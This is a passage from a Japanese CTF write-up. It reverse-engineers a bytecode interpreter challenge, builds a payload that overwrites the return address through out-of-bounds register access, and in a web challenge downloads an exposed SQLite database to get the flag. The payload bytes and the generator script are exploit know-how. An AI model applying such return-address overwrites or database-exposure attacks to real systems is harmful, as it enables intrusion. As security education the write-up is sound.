      if (bVar2 != 0x77 && bVar2 != 0x72) {
        bVar8 = param_1[iVar5 + 3] - 0x30;
        iVar7 = iVar5 + 4;
      }
      if ((3 < bVar6 && 3 < bVar9) && (3 < bVar8)) {
        std::operator<<((basic_ostream *)std::cerr,"Invalid Register\n");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
    }
    switch(bVar2) {
    case 0x61:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) +
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    default:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Invalid Opcode\n",0xf);
                    /* WARNING: Subroutine does not return */
      exit(-1);
    case 99:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cout,"\nChecking...\n",0xd);
      for (iVar5 = 0; iVar5 < 0x10; iVar5 = iVar5 + 1) {
        local_58[iVar5] =
             (char)*(undefined2 *)((long)&stack0xffffffffffffff68 + (long)((char)bVar6 + iVar5) * 2)
        ;
      }
      local_48 = 0;
      FUN_0010234f(local_58);
      uVar4 = 1;
      goto LAB_001029d6;
    case 100:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) /
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x6d:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) *
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    case 0x72:
      *(undefined2 *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(undefined2 *)
            ((long)&stack0xffffffffffffff68 +
            (long)*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) * 2);
      break;
    case 0x73:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) -
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x77:
      *(undefined2 *)
       ((long)&stack0xffffffffffffff68 +
       (long)*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) * 2) =
           *(undefined2 *)((long)&local_a0 + (long)(char)bVar9 * 2);
    }
    if ((int)sVar3 <= iVar7) {
      bVar1 = false;
    }
    DAT_001054f4 = DAT_001054f4 + 1;
    iVar5 = iVar7;
    if (0x54 < DAT_001054f4) {
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Too many opcodes\n",0x11);
      bVar1 = false;
    }
  }
  uVar4 = 0;
LAB_001029d6:
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar4;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

</div></details>

`FUN_00102750`関数より、プログラムでは以下の命令が使えることが読み取れた。

```
a v1 v2 v3 : reg[v1] = reg[v3] + reg[v2]
c v1       : RAM[v1] からの16要素をチェックし、実行を終了
d v1 v2 v3 : reg[v1] = reg[v2] / reg[v3]
m v1 v2 v3 : reg[v1] = reg[v3] * reg[v2]
r v1 v2    : reg[v1] = RAM[reg[v2]]
s v1 v2 v3 : reg[v1] = reg[v2] - reg[v3]
w v1 v2    : RAM[reg[v1]] = reg[v2]
```

ただし、

* `v1`、`v2`、`v3`はそれぞれ1バイトで、指定したい値に0x30を足したものである
* `reg`および`RAM`の要素はそれぞれ16ビット
* `v1`、`v2`、`v3`の示す値が全て4以上の場合、エラーで実行終了となる
* `c`命令による「チェック」は、`FUN_0010234f`関数で行われる

<details><summary>`FUN_0010234f`関数</summary><div>

```c
void FUN_0010234f(char *param_1)

{
  long *plVar1;
  int iVar2;
  long lVar3;
  long *plVar4;
  undefined8 uVar5;
  long in_FS_OFFSET;
  char *local_248;
  long local_240;
  char local_238;
  undefined7 uStack567;
  long local_228 [9];
  locale local_1e0 [48];
  __basic_file<char> local_1b0 [136];
  undefined8 local_128 [27];
  undefined8 local_50;
  undefined local_48;
  undefined local_47;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = strncmp(param_1,"3p1cl337-k3yw0rd",0x10);
  if (iVar2 == 0) {
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Wow! You are pretty good\n",0x19);
    std::ios_base::ios_base((ios_base *)local_128);
    local_128[0] = 0x104c40;
    local_50 = 0;
    local_48 = 0;
    local_47 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
                    /* try { // try from 0010243f to 00102443 has its CatchHandler @ 0010254f */
    std::basic_ios<char,std::char_traits<char>>::init
              ((basic_streambuf *)((long)local_228 + *(long *)(local_228[0] + -0x18)));
    local_228[0] = 0x104ce8;
    local_128[0] = 0x104d10;
                    /* try { // try from 001024db to 001024df has its CatchHandler @ 0010254a */
    std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf();
                    /* try { // try from 001024ed to 001024f1 has its CatchHandler @ 001024f4 */
    std::basic_ios<char,std::char_traits<char>>::init((basic_streambuf *)local_128);
                    /* try { // try from 00102565 to 001025a1 has its CatchHandler @ 00102743 */
    lVar3 = std::basic_filebuf<char,std::char_traits<char>>::open((char *)(local_228 + 2),0x103039);
    if (lVar3 == 0) {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    else {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    local_248 = &local_238;
    local_240 = 0;
    local_238 = '\0';
                    /* try { // try from 001025c1 to 00102628 has its CatchHandler @ 00102629 */
    std::operator>>((basic_istream *)local_228,(basic_string *)&local_248);
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Here\'s your first reward : ",0x1b);
    plVar4 = (long *)std::__ostream_insert<char,std::char_traits<char>>
                               ((basic_ostream *)std::cout,local_248,local_240);
    plVar1 = *(long **)((long)plVar4 + *(long *)(*plVar4 + -0x18) + 0xf0);
    if (plVar1 == (long *)0x0) {
      uVar5 = std::__throw_bad_cast();
                    /* catch(type#1 @ 00000000) { ... } // from try @ 001025c1 with catch @ 00102629
                       catch(type#1 @ 00000000) { ... } // from try @ 00102649 with catch @ 00102629
                        */
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
      std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream
                ((basic_ifstream<char,std::char_traits<char>> *)local_228);
                    /* WARNING: Subroutine does not return */
      _Unwind_Resume(uVar5);
    }
    if (*(char *)(plVar1 + 7) == '\0') {
                    /* try { // try from 00102649 to 00102668 has its CatchHandler @ 00102629 */
      std::ctype<char>::_M_widen_init();
      (**(code **)(*plVar1 + 0x30))(plVar1,10);
    }
    std::basic_ostream<char,std::char_traits<char>>::put((char)plVar4);
    std::basic_ostream<char,std::char_traits<char>>::flush();
    if (local_248 != &local_238) {
      operator.delete(local_248,CONCAT71(uStack567,local_238) + 1);
    }
    local_228[0] = 0x104ce8;
    local_128[0] = 0x104d10;
    local_228[2] = 0x104d30;
                    /* try { // try from 001026ae to 001026b2 has its CatchHandler @ 001026b5 */
    std::basic_filebuf<char,std::char_traits<char>>::close();
    std::__basic_file<char>::~__basic_file(local_1b0);
    local_228[2] = 0x104c60;
    std::locale::~locale(local_1e0);
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
    local_128[0] = 0x104c40;
    std::ios_base::~ios_base((ios_base *)local_128);
    goto LAB_00102726;
  }
  std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"Nope Mate",9);
  plVar1 = *(long **)(std::cout + *(long *)(std::cout._0_8_ + -0x18) + 0xf0);
  if (plVar1 == (long *)0x0) {
    std::__throw_bad_cast();
LAB_001024a4:
    std::ctype<char>::_M_widen_init();
    (**(code **)(*plVar1 + 0x30))(plVar1,10);
  }
  else {
    if (*(char *)(plVar1 + 7) == '\0') goto LAB_001024a4;
  }
  std::basic_ostream<char,std::char_traits<char>>::put(-0x80);
  std::basic_ostream<char,std::char_traits<char>>::flush();
LAB_00102726:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

</div></details>

さらに、`Interpreter`を[TDM-GCC](https://jmeubank.github.io/tdm-gcc/)の`objdump`で逆アセンブルした結果より、以下のことがわかった。

* `reg`のデータは、`RSP + 0x08`から格納されている
* `RAM`のデータは、`RSP + 0x10`から格納されている
* `reg[0]`～`reg[3]`は`0`に初期化され、`RAM[0]`は`1`に初期化される
* `RSP + 0x68`にカナリアがある
* 6個の値を`push`した後`RSP`から`0x78`を引いているので、`RSP + 0xa8`にリターンアドレスがある

明示されてはいなかったが、`c`命令のチェックを通るようなプログラムを入力すればflagが得られると予想した。
`c`命令のチェック、すなわち`FUN_0010234f`関数では、
与えられたデータを`strncmp`関数で`"3p1cl337-k3yw0rd"`と比較していた。
このような長いデータを作るのは難しそうと考えたので、
`FUN_00102750`関数のリターンアドレスを書き換え、このチェックの通過後に制御を移すことにした。

`FUN_0010234f`関数の逆アセンブル結果の冒頭部分は、以下のようになっていた。

```
    234f:	55                   	push   %rbp
    2350:	53                   	push   %rbx
    2351:	48 81 ec 38 02 00 00 	sub    $0x238,%rsp
    2358:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
    235f:	00 00 
    2361:	48 89 84 24 28 02 00 	mov    %rax,0x228(%rsp)
    2368:	00 
    2369:	31 c0                	xor    %eax,%eax
    236b:	ba 10 00 00 00       	mov    $0x10,%edx
    2370:	48 8d 35 8d 0c 00 00 	lea    0xc8d(%rip),%rsi        # 3004 <_ZNSt12__basic_fileIcED1Ev@plt+0xdf4>
    2377:	e8 34 fd ff ff       	callq  20b0 <strncmp@plt>
    237c:	85 c0                	test   %eax,%eax
    237e:	0f 85 c2 00 00 00    	jne    2446 <_ZNSt12__basic_fileIcED1Ev@plt+0x236>
    2384:	ba 19 00 00 00       	mov    $0x19,%edx
```

この部分から、「チェックの通過後」とは0x2384番地であることが読み取れた。
さらに、この関数の冒頭ではRSPを16で割って8余る数変化させているので、
リターンアドレスの書き換えでこのRSPを変化させる部分を飛ばした場合、
スタックのアラインメントの問題は回避できそうである。

また、Ghidraより、`FUN_00102750`関数の戻り先は0x2b0c番地であることが読み取れた。
よって、`0x2384 - 0x2b0c = -0x788`なので、リターンアドレスの下位2バイトから`0x788`を引けば目的を達成できる。
スタック上のデータの配置を考えると、リターンアドレスは`reg[0x50]`～`reg[0x53]`に相当するので、
この下位2バイトである`reg[0x50]`から`0x788`を引けばよい。

(本番中は、誤って0x237c番地に飛ばすために0x790を引いていた。
`FUN_00102750`関数は`c`命令を実行せずに実行を終了すると0を返すため、
0x237c番地の`test`命令によるチェックを通過できたようである。)

あとは、この値`0x788`を用意できれば、これをリターンアドレスから引くことができる。
`RAM[0]`、すなわち`reg[4]`が`1`に初期化されるので、

1. 「構築結果」を0、「足す値」を1に初期化する
2. 「足す値」と構築したい値のビットANDが0でないなら、「構築結果」に「足す値」を足す
3. 「足す値」を2倍する、すなわち「足す値」に「足す値」を足す
4. 「構築結果」が構築したい値になるまで、2と3を繰り返す

という処理により、任意の16ビットの値を構築することができる。
以下は、値を指定すると、この方法でその値を構築するプログラムを出力するプログラムである。

<details><summary>num_gen.pl</summary><div>

```num_gen.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
	die "Usage: perl num_gen.pl target_number\n";
}

my $target = int($ARGV[0]);

print "a114";
if ($target > 0) {
	do {
		if ($target & 1) { print "a001"; }
		print "a111";
		$target >>= 1;
	} while ($target > 1);
	print "a001";
}
print "\n";
```

</div></details>

このプログラムの出力に構築された値をリターンアドレスから引く命令を追加した以下のデータを、
[Tera Term][teraterm]から「ファイル送信」した。

```
00000000  61 31 31 34 61 31 31 31 61 31 31 31 61 31 31 31  |a114a111a111a111|
00000010  61 31 31 31 61 30 30 31 61 31 31 31 61 31 31 31  |a111a001a111a111|
00000020  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000030  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000040  73 80 80 30 0a                                   |s..0.|
```

その結果、flagが得られた。

```
BSNoida{d009e54bdfff4d8cdeeebab05df02280}
```

## Web

### Baby Web

WebページのURLと、サーバのファイル一式が与えられた。
Webページは、IDを入れる欄があり、検索ができるというものだった。

与えられたファイル中の`index.php`を読むと、

```php
      $channel_name = $_GET['chall_id'];
    $sql = "SELECT * FROM CTF WHERE id={$channel_name}";
    $results = $db->query($sql);
```

という部分があった。
しかし、IDとして`1 or 1=1`や`id`を入れると、エラーページに飛ばされてしまった。

さらに`index.php`を読んでいくと、

```php
        $this->open('./karma.db');
```

という部分があった。
これによりファイル`karma.db`が`index.php`と同じディレクトリに設置されていることが読み取れるので、
`http://ctf.babyweb.bsidesnoida.in/karma.db`をダウンロードし、[TkSQLite](http://reddog.s35.xrea.com/wiki/TkSQLite.html)で開いた。
すると、`flagsss`テーブルがあり、そこにflagが格納されていた。

```
BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}
```

[teraterm]: https://ttssh2.osdn.jp/
[cs50]: https://ide.cs50.io/
[ghidra]: https://ghidra-sre.org/